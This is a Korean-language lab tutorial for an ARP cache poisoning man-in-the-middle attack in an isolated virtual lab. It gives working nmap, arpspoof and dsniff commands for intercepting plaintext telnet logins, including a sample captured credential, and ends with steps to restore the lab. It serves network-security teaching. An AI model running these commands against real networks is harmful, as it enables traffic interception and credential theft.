ARP spoofing Attack(=ARP Cache Poisoning) 실습

*ARP Spoofing Attack(=ARP Cache Poisoning)
 MAC주소를 공격자의 MAC주소로 속여서 패킷을 중간에 가로채는 공격

*ARP Spoofing 실습 사전확인
 //사용시스템
 linux (192.168.92.200)
 win2008  (192.168.92.201)
 KaliLinux(192.168.92.50 )

 //사용하는툴
 nmap : 포트 스캐닝
 arpspoof : ARP Spoof 사용하는 툴
 dsniff : 아이디/패스워드 잡아주는 전문 툴

 //각 서버의 IP와 MAC주소 사전확인(#ifconfig, c:\>ipconfig)
 (linux)
 -IP : 192.168.92.200/24
 -MAC : 00:0C:29:96:9D:3E
 
 (KaliLinux)
 -IP : 192.168.92.50/24
  -MAC :  00:0c:29:e5:ff:70
 
 (window2008)
 -IP : 192.168.92.201/24
  -MAC : 00-0C-29-6E-64-FE

*ARP Spoofing 실습

 linux, win2008서버는 서로의 arp정보가 없어야함
 ※삭제해도 계속 살아날시 kali에서 #arpspoof하고 난뒤 arp캐시삭제 진행

 (kali)
 #nmap -F 192.168.92.0/24 (포트 스캐닝을 시작하고 linux, win2008 IP가 잡혀야 가능하다)

linux서버가 스캐닝된 모습

win2008서버가 스캐닝된 모습

 #vi /etc/sysctl.conf (IPv4 Forwarding 기능 on)

주석처리된 것을 주석해제만 해주면 된다.

 #sysctl -p (변경된 사항을 적용하는 명령어)
※sysctl.conf을 수정하거나 #fragrouter -B1 명령어를 통해 포워딩기능을 할 수 있다.

 TERM1 : #wireshark &
 TERM2 : #arpspoof -i eth1 -t 192.168.92.200 192.168.92.201 (linux에게 win2008의 MAC주소를 kali으로 지속 광고)

지속적으로 arp reply을 발생 시킨다.

 TERM3 : #arpspoof -i eth1 -t 192.168.92.201 192.168.92.200 (win2008에게 linux의 MAC주소를 kali으로 지속 광고)

지속적으로 arp reply을 발생 시킨다.

 
 (linux)
 #arp -an (캐시정보가 없어야함)

 (win2008)
 c:\> arp -a (상대 캐시정보가 없어야함)

 (kali)
 TERM4 : #dsniff -i eth1 -t 23/tcp=telnet host 192.168.92.200 (중요한 패킷만 캐시)
 
 (window2008)
 c:\>telnet 192.168.92.200
 root
 soldesk1.
 exit

 
 (kali)
 wireshark로 확인을 해보거나 TERM4 확인하기
 linux <-------> win2008사이의 경로에 kali가 있어서 패킷확인가능
 telnet, ftp는 평문으로 전송되기 때문에 TERM4에서 확인가능

※ftp도 같은 방법으로 하면 같은 형식으로 보여지게 됨 (#dsniff)

 (linux)
 #arp -a (win2008의 MAC이 kali로 되어있음)

kali, win2008의 MAC주소가 같이 되어있는걸 확인

 (win2008)
 c:\>arp -a (linux200의 MAC이 kali로 되어있음)

linux, kali서버의 MAC주소가 같은걸 확인

*실습 복원 작업
 1.(KaliLinux) 설정 복원
 arpsnoof 명령어를 실행했던 터미널을 종료 시킨다 <CTRL + C>
 wireshark 프로그램을 닫아준다.
 
 2.(linux200)  설정 복원
 #arp -a 명령어로 확인하고 남아있다면 #arp -d로 지운다. (안해도 원래 MAC주소로 바뀌게 된다)

 3.(win2008)   설정 복원
 c:\>arp -a 명령어로 확인하고 복원이 되어있더라도 c:\>arp -d로 초기화 한다. (안해도 원래 MAC주소로 바뀌게 된다)

*참고 URL
 http://www.youtube.com/watch?v=gNrh5VRkWZ0
 http://www.youtube.com/watch?v=q-mUKGumO7g

동영상

Kali Linux - ARP Spoofing MITM

ARP Spoofing Man-in-the-middle

www.youtube.com